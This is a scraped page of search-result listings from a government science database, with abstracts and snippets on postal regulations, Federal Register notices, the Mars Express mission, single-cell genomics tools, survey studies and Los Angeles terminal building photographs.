platform as a service (PaaS), and software as a service ( SaaS )—that target system administrators, developers, and end-users respectively (see Table 2...interfaces (API) and services Medium Amazon Elastic MapReduce, MathWorks Cloud, Red Hat OpenShift SaaS Full-fledged applications Low Google gMail

19 CFR Appendix to Part 145 - Unknown Title

Code of Federal Regulations, 2010 CFR

2010-04-01

... either the sender or the addressee has been obtained in advance of the opening. Past practice indicates... indicate that merchandise or contraband (e.g., a hard object which may be jewelry, a stack of paper which... known to have mailed or received contraband or merchandise in violation of law in the past. 7. The...

Expand Reference Resources: Research the Holocaust through the Internet.

ERIC Educational Resources Information Center

Anderson, Judy

1998-01-01

The Internet opens a wide range of possibilities for accessing materials on the Holocaust from both traditional sources and more volatile areas (personal homepages, e-mail, and discussion groups archives). Excerpts from accounts by one Hungarian and one Norwegian political prisoner are included as illustrations of material which may not have been…

75 FR 35001 - Blue Ribbon Commission on America's Nuclear Future, Reactor and Fuel Cycle Technologies Subcommittee

Federal Register 2010, 2011, 2012, 2013, 2014

2010-06-21

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future, Reactor and Fuel Cycle Technologies Subcommittee AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of Open... facsimile (202) 586- 0544; e-mail [email protected]nuclear.energy.gov . Additional information may also be...

75 FR 61139 - Blue Ribbon Commission on America's Nuclear Future, Reactor and Fuel Cycle Technology Subcommittee

Federal Register 2010, 2011, 2012, 2013, 2014

2010-10-04

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future, Reactor and Fuel Cycle Technology Subcommittee AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of Open...) 586- 0544; e-mail [email protected]nuclear.energy.gov . Additional information will be available at http...

Timely response to secure messages from primary care patients.

PubMed

Rohrer, James E; North, Frederick; Angstman, Kurt B; Oberhelman, Sara S; Meunier, Matthew R

2013-01-01

To assess delays in response to patient secure e-mail messages in primary care. Secure electronic messages are initiated by primary care patients. Timely response is necessary for patient safety and quality. A database of secure messages. A random sample of 353 secure electronic messages initiated by primary care patients treated in 4 clinics. Message not opened after 12 hours or messages not responded to after 36 hours. A total of 8.5% of electronic messages were not opened within 12 hours, and 17.6% did not receive a response in 36 hours. Clinic location, being a clinic employee, and patient sex were not related to delays. Patients older than 50 years were more likely to receive a delayed response (25.7% delayed, P = .013). The risk of both kinds of delays was higher on weekends (P < .001 for both). The e-mail message system resulted in high rates of delayed response. Delays were concentrated on weekends (Friday-Sunday). Reducing delayed responses may require automatic rerouting of messages to message centers staffed 24-7 or other mechanisms to manage this after-hours work flow.

44. VIEW TO SOUTHWEST; MBE BUILDING, THIRD FLOOR, CONDUCTORS' LOCKER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

44. VIEW TO SOUTHWEST; MBE BUILDING, THIRD FLOOR, CONDUCTORS' LOCKER ROOM LAVATORY (Dobson) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

42. VIEW TO SOUTHEAST; MBE BUILDING, THIRD FLOOR, CONDUCTORS' LOCKER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

42. VIEW TO SOUTHEAST; MBE BUILDING, THIRD FLOOR, CONDUCTORS' LOCKER ROOM INTERIOR (Dobson) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

43. VIEW TO NORTHEAST; MBE BUILDING, THIRD FLOOR, CONDUCTORS' LOCKER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

43. VIEW TO NORTHEAST; MBE BUILDING, THIRD FLOOR, CONDUCTORS' LOCKER ROOM INTERIOR (Dobson) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

77 FR 73062 - International Mail Contract

Federal Register 2010, 2011, 2012, 2013, 2014

2012-12-07

... inbound portion of the Agreement, which concerns delivery of inbound Air CP,\\3\\ Surface CP, and Express... Operators 1 (MC2010-34) product on the competitive product list. Notice at 1. \\3\\ ``CP'' is an abbreviation...

Pathology resident attitudes and opinions about pathologists' assistants.

PubMed

Grzybicki, Dana Marie; Vrbin, Colleen M

2003-06-01

Changes in health care economics and organization have resulted in increased use of nonphysician providers in most health care settings. Attitudinal acceptance of nonphysician providers is important in the current health care environment. To obtain descriptive information regarding pathology resident attitudes and opinions about pathologists' assistants in anatomic pathology practice and to assess the implications of resident attitudes and opinions for pathology practice and training. A self-administered, mailed, voluntary, anonymous questionnaire was distributed to a cross-sectional sample of pathology residents in the United States (2531 pathology residents registered as resident members of one of the national pathology professional organizations). The questionnaire contained (1) items relating to resident demographics and program characteristics, (2) Likert-scale response items containing positive and negative statements about pathologists' assistants, (3) a multiple-choice item related to pathologists' assistants scope of practice, and (4) an open-ended item inviting additional comments. Both quantitative and qualitative analysis of responses was performed. The overall response rate was 19.4% (n = 490); 50% of the respondents were women, and 77% reported use of pathologists' assistants in their program. Most respondents were 25 to 35 years old and in postgraduate years 3 through 5 of their training, and most were located in the Midwestern United States. The majority of residents expressed overall positive attitudes and opinions about pathologists' assistants and felt that pathologists' assistants enhanced resident training by optimizing resident workload. A minority (10%-20%) of residents expressed negative attitudes or opinions about pathologists' assistants. Additionally, some residents reported a lack of knowledge about pathologists' assistants' training or roles. Increased resident education and open discussion concerning pathologists' assistants may be beneficial for optimizing resident attitudes about and training experiences with pathologists' assistants.

15. VIEW TO SOUTHWEST; EAST BACK MBE BUILDING, THIRD AND ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

15. VIEW TO SOUTHWEST; EAST BACK MBE BUILDING, THIRD AND SECOND FLOORS; GASOLINE PUMPS CENTER (Dobson) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

35. VIEW TO NORTHWEST; DETAIL, VOLUTE AT BASE OF VEHICULAR ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

35. VIEW TO NORTHWEST; DETAIL, VOLUTE AT BASE OF VEHICULAR RAMP FROM LIGHTING PYLON (Asano) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

49 CFR 1104.12 - Service of pleadings and papers.

Code of Federal Regulations, 2010 CFR

2010-10-01

... express mail. If a document is filed with the Board through the e-filing process, a copy of the e-filed... BOARD, DEPARTMENT OF TRANSPORTATION RULES OF PRACTICE FILING WITH THE BOARD-COPIES-VERIFICATION-SERVICE...

Are you ready for Mars? - Main media events surrounding the arrival of ESA's Mars Express at Mars

NASA Astrophysics Data System (ADS)

2003-11-01

Launched on 2 June 2003 from Baikonur (Kazakhstan) on board a Russian Soyuz launcher operated by Starsem, the European probe -built for ESA by a European team of industrial companies led by Astrium - carries seven scientific instruments that will perform a series of remote-sensing experiments designed to shed new light on the Martian atmosphere, the planet’s structure and its geology. In particular, the British-made Beagle 2 lander, named after the ship on which Charles Darwin explored uncharted areas of the Earth in 1830, will contribute to the search for traces of life on Mars through exobiology experiments and geochemistry research. On Christmas Eve the Mars Express orbiter will be steered on a course taking it into an elliptical orbit, where it will safely circle the planet for a minimum of almost 2 Earth years. The Beagle 2 lander - which will have been released from the mother craft a few days earlier (on 19 December) - instead will stay on a collision course with the planet. It too should also be safe, being designed for atmospheric entry and geared for a final soft landing due to a sophisticated system of parachutes and airbags. On arrival, the Mars Express mission control team will report on the outcome of the spacecraft's delicate orbital insertion manoeuvre. It will take some time for Mars Express to manouvre into position to pick communications from Beagle 2. Hence, initially, other means will be used to check that Beagle 2 has landed: first signals from the Beagle 2 landing are expected to be available throughout Christmas Day, either through pick-up and relay of Beagle 2 radio signals by NASA’s Mars Odyssey, or by direct pick-up by the Jodrell Bank radio telescope in the UK. Mars Express will then pass over Beagle 2 in early January 2004, relaying data and images back to Earth. The first images from the cameras of Beagle 2 and Mars Express are expected to be available between the end of the year and the beginning of January 2004. The key dates relating to the arrival of Mars Express at its destination will be marked by several media events not to be missed. Pencil them into your diaries so as not to miss one of the most exciting events of the year. Tuesday 11 November Mars Express/Beagle 2 Media briefing Royal Society- 6-9 Carlton House Terrace, London 10:00 - 13:00 -Status report on the mission -Technical details on forthcoming Mars Express/Beagle 2 operations -News handling arrangements around Christmas Speakers: Prof. David Southwood, ESA Director of Science; Prof. Colin Pillinger, Beagle 2 Lander Lead Scientist; John Reddy, ESA Mars Express Principal Electrical Systems Engineer. Contact: Peter Barratt, PPARC Tel. + 44 (0) 1793 44 20 25 e-mail: Beagle2@pparc.ac.uk Wednesday 3 December ESA Media briefing ESA/ ESOC, Darmstadt, Germany 10:30 - 12:30 -Scientific outlook and expected results -Status report on the mission -Presentation of upcoming events Speakers: Rudolf Schmidt, ESA Mars Express Project Manager; Augustin Chicarro, ESA Mars Express Project Scientist. In addition, Mars Express scientists and Mission Control Managers will highlight their contribution to the Mars Express mission. In videoconference with ESA/Headquarters, Paris (F); ESA/ESTEC, Noordwijk (NL), ESA/ESRIN, Frascati (I). Contact: Jocelyne Landeau Constantin, ESA/ESOC Tel. + 49 6151 90 26 96 e-mail: Jocelyne.Landeau-Constantin@esa.int Friday 19 December Mars Express Orbiter/ Beagle 2 separation Mission Control Managers announce results of Beagle 2 separation from the mother craft. a.Event at ESA/ESOC, Darmstadt , Germany 08:30 - 14:00 Speakers: Prof. David Southwood, ESA Director of Science; Rudolf Schmidt, ESA Mars Express Project Manager Contact: Jocelyne Landeau Constantin, ESA/ESOC Tel. + 49 6151 90 26 96 e-mail: Jocelyne.Landeau-Constantin@esa.int b.Event in London -location and time t.b.c. Speaker: Prof. Colin Pillinger, Beagle 2 Lander Lead Scientist. Contact: Peter Barratt, PPARC Tel. + 44 (0) 1793 44 20 25 e-mail: Beagle2@pparc.ac.uk Thursday 25 December Christmas on Mars a.Media event at ESA/ ESOC, Darmstadt, Germany 03:00 - 07:00 Mars Express orbit insertion follow-up and Beagle 2 landing- Experience the accomplishment of one of the most exciting phases of the Mars Express mission in real time in the presence of Mission Control Managers and Scientists. 08:30 - 10:00 Christmas media brunch- Announcement of Mars orbit insertion results and Beagle 2 landing, with the participation of Prof. David Sourthwood, ESA Director of Science. Contact: Jocelyne Landeau Constantin, ESA/ESOC Tel. + 49 6151 90 26 96 e-mail: Jocelyne.Landeau-Constantin@esa.int b.Event in central London - location and time t.b.c. Contact: Peter Barratt, PPARC Tel. + 44 (0) 1793 44 20 25 e-mail: Beagle2@pparc.ac.uk Note to Editors: Timeline of expected main mission events 16 December All day Fine targeting of Mars Express to point at landing site - ranging 19 December 06:51 GMT/07:51 CET Decision to release Beagle 2 08:41 GMT/09:41 CET Eject command sent to Mars Express 10:15 GMT/11:15 CET First results of release available 20 December Re-targeting of Mars Express on an orbital insertion course 23 December Update on Mars Express Orbital Insertion Sequence 24 December Night Final decision to steer Mars Express into a Martian orbit 25 December 02:45 GMT/03:45 CET Beagle 2 landing on Mars 03:00 GMT/04:00 CET Mars Express Orbital Insertion 05:15 GMT/06:15 CET Mars Odyssey orbiter flight over Beagle 2 07:00 GMT/08:00 CET First evaluation of Mars Express orbital insertion 22:45 GMT/23:45 CET Possible direct capture of Beagle 2 signals at Jodrell Bank (UK)

LEAP: constructing gene co-expression networks for single-cell RNA-sequencing data using pseudotime ordering.

PubMed

Specht, Alicia T; Li, Jun

2017-03-01

To construct gene co-expression networks based on single-cell RNA-Sequencing data, we present an algorithm called LEAP, which utilizes the estimated pseudotime of the cells to find gene co-expression that involves time delay. R package LEAP available on CRAN. jun.li@nd.edu. Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com

78 FR 42820 - Agency Information Collection (Caution to Bidders-Bid Envelopes) Activities Under OMB Review

Federal Register 2010, 2011, 2012, 2013, 2014

2013-07-17

... or a Copy of the Submission Contact: Crystal Rennie, Enterprise Records Service (005R1B), Department of Veterans Affairs, 810 Vermont Avenue NW., Washington, DC 20420, (202) 632-7492 or email: crystal... mail or packages received and to ensure the bids are delivered to the proper bid opening room on time...

29 CFR 2701.3 - Announcement of meetings.

Code of Federal Regulations, 2014 CFR

2014-07-01

... matter of a meeting, whether it is to be open or closed, and the name and phone number of the Commission... and docket numbers of the cases to be considered. The Commission shall also contact, by phone or mail... of the members of the Commission or a panel of three or more Commissioners determines by a recorded...

29 CFR 2701.3 - Announcement of meetings.

Code of Federal Regulations, 2011 CFR

2011-07-01

... matter of a meeting, whether it is to be open or closed, and the name and phone number of the Commission... and docket numbers of the cases to be considered. The Commission shall also contact, by phone or mail... of the members of the Commission or a panel of three or more Commissioners determines by a recorded...

29 CFR 2701.3 - Announcement of meetings.

Code of Federal Regulations, 2013 CFR

2013-07-01

... matter of a meeting, whether it is to be open or closed, and the name and phone number of the Commission... and docket numbers of the cases to be considered. The Commission shall also contact, by phone or mail... of the members of the Commission or a panel of three or more Commissioners determines by a recorded...

29 CFR 2701.3 - Announcement of meetings.

Code of Federal Regulations, 2012 CFR

2012-07-01

... matter of a meeting, whether it is to be open or closed, and the name and phone number of the Commission... and docket numbers of the cases to be considered. The Commission shall also contact, by phone or mail... of the members of the Commission or a panel of three or more Commissioners determines by a recorded...

76 FR 5148 - Loveland Area Projects-Western Area Colorado Missouri Balancing Authority-Rate Order No. WAPA-155

Federal Register 2010, 2011, 2012, 2013, 2014

2011-01-28

... (RMR) Open Access Same Time Information System Web site. Transmission Losses are assessed for all real... post information about the rate process, as well as comments received via letter and e-mail, on its Web... hourly load coincident with the LAP monthly transmission system peak. See discussion below on the...

The 24th International Physics Olympiad

NASA Astrophysics Data System (ADS)

1993-07-01

Contents include the following: listings of committees, grading teams, participating and observing delegations, and sponsors; the Michelson Interferometer; the opening ceremony; social, cultural and scientific events; the closing ceremony; and award winners. The examination and its syllabus are included with histograms of the scores. The International Board is listed along with observers, student participants, and guides. Preliminary mailings are included.

76 FR 77133 - Domestic Shipping Services Pricing and Mailing Standards Changes

Federal Register 2010, 2011, 2012, 2013, 2014

2011-12-12

... destination. When sealing a Flat Rate Envelope or Box, the container flaps must be able to close within the normal folds. Tape may be applied to the flaps and seams to reinforce the container provided the design of the container is not enlarged by opening the sides, and the container is not reconstructed in any...

Early Childhood Pre-Service Teachers' Concerns and Solutions to Overcome Them (the Case of Pamukkale University)

ERIC Educational Resources Information Center

Cevher-Kalburan, Nilgün

2014-01-01

The purpose of this qualitative study is to determine early childhood pre-service teachers' concerns and solutions. One hundred early childhood pre-service teachers who were enrolled at Pamukkale University, Turkey, answered two open-ended questions by e-mail. In addition, six of these participants were interviewed for developing a deeper…

Market segmentation and analysis of Japan's residential post and beam construction market.

Treesearch

Joseph A. Roos; Ivan L. Eastin; Hisaaki Matsuguma

2005-01-01

A mail survey of Japanese post and beam builders was conducted to measure their level of ethnocentrism, market orientation, risk aversion, and price consciousness. The data were analyzed utilizing factor and cluster analysis. The results showed that Japanese post and beam builders can be divided into three distinct market segments: open to import...

77 FR 13977 - Quality Assurance Requirements for Continuous Opacity Monitoring Systems at Stationary Sources

Federal Register 2010, 2011, 2012, 2013, 2014

2012-03-08

... instructions for submitting comments. Email: [email protected] . Fax: (202) 566-9744. Mail: Attention... Constitution Ave. NW., Washington, DC. The Docket Facility and Public Reading Room are open from 8:30 a.m. to 4... (202) 566-1742, and the telephone number for the Public Reading Room is (202) 566-1744. FOR FURTHER...

75 FR 36537 - Express Mail Next Day Delivery Postage Refund Amendment

Federal Register 2010, 2011, 2012, 2013, 2014

2010-06-28

... the control of USPS; or acts of God. g. The shipment contained live animals and was delivered or... acts of God. g. The shipment contained live animals and was delivered or delivery was attempted within...

39. VIEW TO NORTHEAST; WEST FRONT MBE BUILDING, FIRST FLOOR, ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

39. VIEW TO NORTHEAST; WEST FRONT MBE BUILDING, FIRST FLOOR, FRED HARVEY NEWSSTAND STOREROOM (AREA BURNED BY VANDALS) (Dobson) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

Report on Climate Change E-mails Exonerates Scientists

NASA Astrophysics Data System (ADS)

Showstack, Randy

2010-07-01

A new report commissioned by the University of East Anglia (UEA) has largely exonerated climate scientists from the university's Climatic Research Unit (CRU) who wrote a number of controversial e-mail messages that were made public without authorization in November 2009. Critics have argued that the e-mails indicate that scientists had tampered with scientific data—including data related to land station temperatures and temperature reconstructions from tree ring analysis—subverted the peer review process, misused the Intergovernmental Panel on Climate Change (IPCC) process, and withheld data from critics. At a 7 July news conference to release the “Independent climate change e-mails review,” report chair Muir Russell said, “Climate science is a matter of such global importance that the highest standards of honesty, rigor, and openness are needed in its conduct. On the specific allegations made against the behavior of CRU scientists, we find that their rigor and honesty as scientists are not in doubt.” He continued, “In addition, we do not find that their behavior has prejudiced the balance of advice given to policy makers. In particular, we did not find any evidence of behavior that might undermine the conclusions of the IPCC assessments.” Russell is chair of the Judicial Appointments Board for Scotland and formerly was principal and vice-chancellor of the University of Glasgow, in Scotland.

Faculty-Administration Conflict in California Public Junior Colleges: An Analysis and a Proposal for Resolution.

ERIC Educational Resources Information Center

Niland, William Patrick

This study identifies areas of administration-faculty conflict and offers a strategy for resolution. Information was collected by mail and interview. From the findings, inferences were drawn relating to the causes of conflict, as shown by the differences in perception of the administrator and teacher, in attitudes to the open-door policy, and in…

78 FR 76701 - Certificates of Public Convenience and Necessity and Foreign Air Carrier Permits

Federal Register 2010, 2011, 2012, 2013, 2014

2013-12-18

... may be granted to European Union carriers under the U.S.-E.U. Open Skies Agreement. Barbara J... of persons, property and mail from any point or points behind any Member State(s) of the European Union, via any point or points in any Member State and via intermediate points, to any point(s) in the...

75 FR 54338 - Agency Information Collection Activities: Submission to OMB for Review and Approval; State Review...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-09-07

....gov : (our preferred method) Follow the on-line instructions for submitting comments. E-mail..., DC. The EPA Docket Center Public Reading Room is open from 8:30 a.m. to 4:30 p.m., Monday through Friday, excluding legal holidays. The telephone number for the Reading Room is (202) 566-1744, and the...

75 FR 52546 - Hakalau Forest National Wildlife Refuge, Hawai`i County, HI; Comprehensive Conservation Plan and...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-08-26

...] Hakalau Forest National Wildlife Refuge, Hawai`i County, HI; Comprehensive Conservation Plan and...; Hilo, HI 96720. Alternatively, you may fax comments to the refuge at (808) 443-2304, or e-mail them to... attend two open house meetings. The meetings were held March 3 and 4, 2009, in Hilo, HI, and Captain Cook...

The Effects of Blogs versus Dialogue Journals on Open-Response Writing Scores and Attitudes of Grade Eight Science Students

ERIC Educational Resources Information Center

Erickson, Diane K.

2010-01-01

Today's students have grown up surrounded by technology. They use cell phones, word processors, and the Internet with ease, talking with peers in their community and around the world through e-mails, chatrooms, instant messaging, online discussions, and weblogs ("blogs"). In the midst of this technological explosion, adolescents face a…

Security Criteria for Distributed Systems: Functional Requirements.

DTIC Science & Technology

1995-09-01

Open Company Limited. Ziv , J. and A. Lempel . 1977. A Universal Algorithm for Sequential Data Compression . IEEE Transactions on Information Theory Vol...3, SCF-5 DCF-7. Configurable Cryptographic Algorithms (a) It shall be possible to configure the system such that the data confidentiality functions...use different cryptographic algorithms for different protocols (e.g., mail or interprocess communication data ). (b) The modes of encryption

77 FR 69562 - Drawbridge Operation Regulation; Thea Foss Waterway Previously Known as City Waterway, Tacoma, WA

Federal Register 2010, 2011, 2012, 2013, 2014

2012-11-20

... shape in the ``Actions'' column. If you submit your comments by mail or hand delivery, submit them in an... unique features of the Murray Morgan Bridge is its height above the waterway providing 60 feet of... bridge openings are for locally moored and operated recreational sailboats with mast heights over 60 feet...

12 CFR 40.10 - Limits on disclosure of non-public personal information to nonaffiliated third parties.

Code of Federal Regulations, 2010 CFR

2010-01-01

... established a customer relationship. (2) Unless a bank complies with this section, the bank may not, directly... within 30 days from the date the bank mailed the notices. (ii) By electronic means. A customer opens an... section electronically, and the bank allows the customer to opt out by any reasonable means within 30 days...

Application Level Protocol Development for Library and Information Science Applications. Volume 1: Service Definition. Volume 2: Protocol Specification. Report No. TG.1.5; TG.50.

ERIC Educational Resources Information Center

Aagaard, James S.; And Others

This two-volume document specifies a protocol that was developed using the Reference Model for Open Systems Interconnection (OSI), which provides a framework for communications within a heterogeneous network environment. The protocol implements the features necessary for bibliographic searching, record maintenance, and mail transfer between…

75 FR 62844 - Advisory Committee to the Director (ACD), Centers for Disease Control and Prevention (CDC)

Federal Register 2010, 2011, 2012, 2013, 2014

2010-10-13

..., 1600 Clifton Road, NE., Building 21, Rooms 1204 A/B, Atlanta, Georgia 30333. Status: Open to the public..., 1600 Clifton Road, NE., M/S D- 14, Atlanta, Georgia 30333. Telephone 404/639-7000. E-mail: [email protected] Analysis and Services Office, has been delegated the authority to sign Federal Register notices pertaining...

77 FR 13997 - Quality Assurance Requirements for Continuous Opacity Monitoring Systems at Stationary Sources

Federal Register 2010, 2011, 2012, 2013, 2014

2012-03-08

... comments. Email: [email protected] . Fax: (202) 566-9744. Mail: Attention Docket ID No. EPA-HQ-OAR...., Washington, DC. The Docket Facility and Public Reading Room are open from 8:30 a.m. to 4:30 p.m., Monday... the telephone number for the Public Reading Room is (202) 566-1744. FOR FURTHER INFORMATION CONTACT...

52. VIEW TO EAST; SOUTH END OF MBE BUILDING, SECOND ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

52. VIEW TO EAST; SOUTH END OF MBE BUILDING, SECOND FLOOR; HIGHLY ALTERED INTERIOR OFFICE SPACE, FORMERLY REGIONAL OFFICES OF REA (Andersen) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

78 FR 33865 - Negotiated Service Agreement

Federal Register 2010, 2011, 2012, 2013, 2014

2013-06-05

... POSTAL REGULATORY COMMISSION [Docket No. CP2011-50; Order No. 1735] Negotiated Service Agreement AGENCY: Postal Regulatory Commission. ACTION: Notice. SUMMARY: The Commission is noticing a recent Postal Service filing concerning an amendment to Express Mail Contract 11. This notice informs the public of the...

destiny: diffusion maps for large-scale single-cell data in R.

PubMed

Angerer, Philipp; Haghverdi, Laleh; Büttner, Maren; Theis, Fabian J; Marr, Carsten; Buettner, Florian

2016-04-15

: Diffusion maps are a spectral method for non-linear dimension reduction and have recently been adapted for the visualization of single-cell expression data. Here we present destiny, an efficient R implementation of the diffusion map algorithm. Our package includes a single-cell specific noise model allowing for missing and censored values. In contrast to previous implementations, we further present an efficient nearest-neighbour approximation that allows for the processing of hundreds of thousands of cells and a functionality for projecting new data on existing diffusion maps. We exemplarily apply destiny to a recent time-resolved mass cytometry dataset of cellular reprogramming. destiny is an open-source R/Bioconductor package "bioconductor.org/packages/destiny" also available at www.helmholtz-muenchen.de/icb/destiny A detailed vignette describing functions and workflows is provided with the package. carsten.marr@helmholtz-muenchen.de or f.buettner@helmholtz-muenchen.de Supplementary data are available at Bioinformatics online. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Study protocol of the CHOiCE trial: a three-armed, randomized, controlled trial of home-based HPV self-sampling for non-participants in an organized cervical cancer screening program.

PubMed

Tranberg, Mette; Bech, Bodil Hammer; Blaakær, Jan; Jensen, Jørgen Skov; Svanholm, Hans; Andersen, Berit

2016-11-03

The effectiveness of cervical cancer screening programs is challenged by suboptimal participation and coverage. Offering cervico-vaginal self-sampling for human papillomavirus testing (HPV self-sampling) to non-participants can increase screening participation. However, the effect varies substantially among studies, especially depending on the approach used to offer HPV self-sampling. The present trial evaluates the effect on participation in an organized screening program of a HPV self-sampling kit mailed directly to the home of the woman or mailed to the woman's home on demand only, compared with the standard second reminder for regular screening. The CHOiCE trial is a parallel, randomized, controlled, open-label trial. It will include 9327 women aged 30-64 years who are living in the Central Denmark Region and who have not participated in cervical cancer screening after an invitation and one reminder. The women will be equally randomized into three arms: 1) Directly mailed a second reminder including a HPV self-sampling kit; 2) Mailed a second reminder offering a HPV self-sampling kit, to be ordered by e-mail, text message, phone, or through a webpage; and 3) Mailed a second reminder for a practitioner-collected sample (control group). The primary outcome will be the proportion of women in the intervention groups who participate by returning their HPV self-sampling kit or have a practitioner-collected sample compared with the proportion of women who have a practitioner-collected sample in the control group at 90 and 180 days after mail out of the second reminders. Per-protocol and intention-to-treat analyses will be performed. The secondary outcome will be the proportion of women with a positive HPV self-collected sample who attend follow-up testing at 30, 60, or 90 days after mail out of the results. The CHOiCE trial will provide strong and important evidence allowing us to determine if and how HPV self-sampling can be used to increase participation in cervical cancer screening. This trial therefore has the potential to improve prevention and reduce the number of deaths caused by cervical cancer. Current Controlled Trials NCT02680262 . Registered 10 February 2016.

The ethics of research using electronic mail discussion groups.

PubMed

Kralik, Debbie; Warren, Jim; Price, Kay; Koch, Tina; Pignone, Gino

2005-12-01

The aim of this paper is to identify and discuss the ethical considerations that have confronted and challenged the research team when researchers facilitate conversations using private electronic mail discussion lists. The use of electronic mail group conversations, as a collaborative data generation method, remains underdeveloped in nursing. Ethical challenges associated with this approach to data generation have only begun to be considered. As receipt of ethics approval for a study titled; 'Describing transition with people who live with chronic illness' we have been challenged by many ethical dilemmas, hence we believe it is timely to share the issues that have confronted the research team. These discussions are essential so we can understand the possibilities for research interaction, communication, and collaboration made possible by advanced information technologies. Our experiences in this study have increased our awareness for ongoing ethical discussions about privacy, confidentiality, consent, accountability and openness underpinning research with human participants when generating data using an electronic mail discussion group. We describe how we work at upholding these ethical principles focusing on informed consent, participant confidentiality and privacy, the participants as threats to themselves and one another, public-private confusion, employees with access, hackers and threats from the researchers. A variety of complex issues arise during cyberspace research that can make the application of traditional ethical standards troublesome. Communication in cyberspace alters the temporal, spatial and sensory components of human interaction, thereby challenging traditional ethical definitions and calling to question some basic assumptions about identity and ones right to keep aspects of it confidential. Nurse researchers are bound by human research ethics protocols; however, the nature of research by electronic mail generates moral issues as well as ethical concerns. Vigilance by researchers is required to ensure that data are viewed within the scope of the enabling ethics approval.

Applied Educational Computing: Putting Skills to Practice.

ERIC Educational Resources Information Center

Thomerson, J. D.

The College of Education at Valdosta State University (Georgia) developed a followup course to their required entry-level educational computing course. The introductory course covers word processing, spreadsheet, database, presentation, Internet, electronic mail, and operating system software and basic computer concepts. Students expressed a need…

47. VIEW TO WEST; SOUTH END OF MBE BUILDING, FIRST ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

47. VIEW TO WEST; SOUTH END OF MBE BUILDING, FIRST FLOOR; FORMER PACKAGE HANDLING AREA ADJACENT TO FORMER PACIFIC ELECTRIC RAILWAY TERMINAL (Andersen) - Los Angeles Union Passenger Terminal, Mail, Baggage, & Express Building, 800 North Alameda Street, Los Angeles, Los Angeles County, CA

Chiral Topological Orders in an Optical Raman Lattice (Open Source)

DTIC Science & Technology

2016-03-01

towhomany correspondence should be addressed. E-mail: xiongjunliu@pku.edu.cn Keywords: optical lattice, gaugefields, Chern insulator , topological order...onlymeasuring the Bloch states in the two symmetricmomentumpoints of the first Brillouin zone. Further, we also show that heating in the present optical Raman...spontaneous decay of excited states. Realization of a gapped insulating topological state typically necessitates an optical lattice and synthetic

If we transform the landfill, will they come? Predicting visitation to Freshkills Park in New York City

Treesearch

David B. Klenosky; Stephanie A. Snyder; Christine A. Vogt; Lindsay K. Campbell

2017-01-01

Efforts are underway to transform the former Fresh Kills Landfill in Staten Island (SI), NY into Freshkills Park (FKP). Data from a mail survey of 1006 SI residents were used to examine the impact of factors that might facilitate or inhibit intentions to visit FKP once it opens to the public. Facilitators significantly impacting intentions included proximity, past...

Similar Mutation Rates but Highly Diverse Mutation Spectra in Ascomycete and Basidiomycete Yeasts

DTIC Science & Technology

2016-12-24

Te, and Michael Lynch Department of Biology , Indiana University, Bloomington, IN *Corresponding author: E-mail: longhongan@gmail.com. Accepted...GBE The Author(s) 2016. Published by Oxford University Press on behalf of the Society for Molecular Biology and Evolution. This is an Open Access...fungal mutation spectrum. Supplementary Material Supplementary data are available at Genome Biology and Evolution online. Acknowledgments This research

The Quality of Teaching and Learning of BCOM Honours Degree Students at an Open Distance Learning University in South Africa

ERIC Educational Resources Information Center

van Antwerpen, Sumei

2015-01-01

Student support at Unisa involves a range of stakeholders providing academic and administrative support. The study was conducted among Unisa BCom honours students. The main objective of the study was to determine the educational quality of teaching and learning offered. Students were contacted by e-mail and asked to complete an online…

Secure Your Wireless Network: Going Wireless Comes with Its Own Special Set of Security Concerns

ERIC Educational Resources Information Center

Bloomquist, Jane; Musa, Atif

2004-01-01

Imagine a completely wireless school, an open network in which all students and staff can roam around using laptops or handheld computers to browse the Internet, access files and applications on the school server, and communicate with each other and the world via e-mail. It's a great picture--and at some schools the future is already here. But…

Opening the doors: building brand awareness.

PubMed

John, Judith; McCartney, Rob

2006-01-01

In search of a credible and cost-effective way to promote Mount Sinai Hospital (Mount Sinai) and educate a broad public, Mount Sinai opened its doors wide to The Globe and Mail (The Globe). The result was a three-part national feature series that told Mount Sinai's compelling story, provided third-party credibility and confirmed the value of proactive media relations. The series engaged our staff, energized our volunteers and reached both stakeholders and the general public on an emotional level. It also generated the more than dollars 6 million worth of equivalent advertising space it would have required for Mount Sinai to reach this national audience.

A Robust Open Ascending-price Multi-unit Auction Protocol against False-name Bids

NASA Astrophysics Data System (ADS)

Iwasaki, Atsushi; Yokoo, Makoto; Terada, Kenji

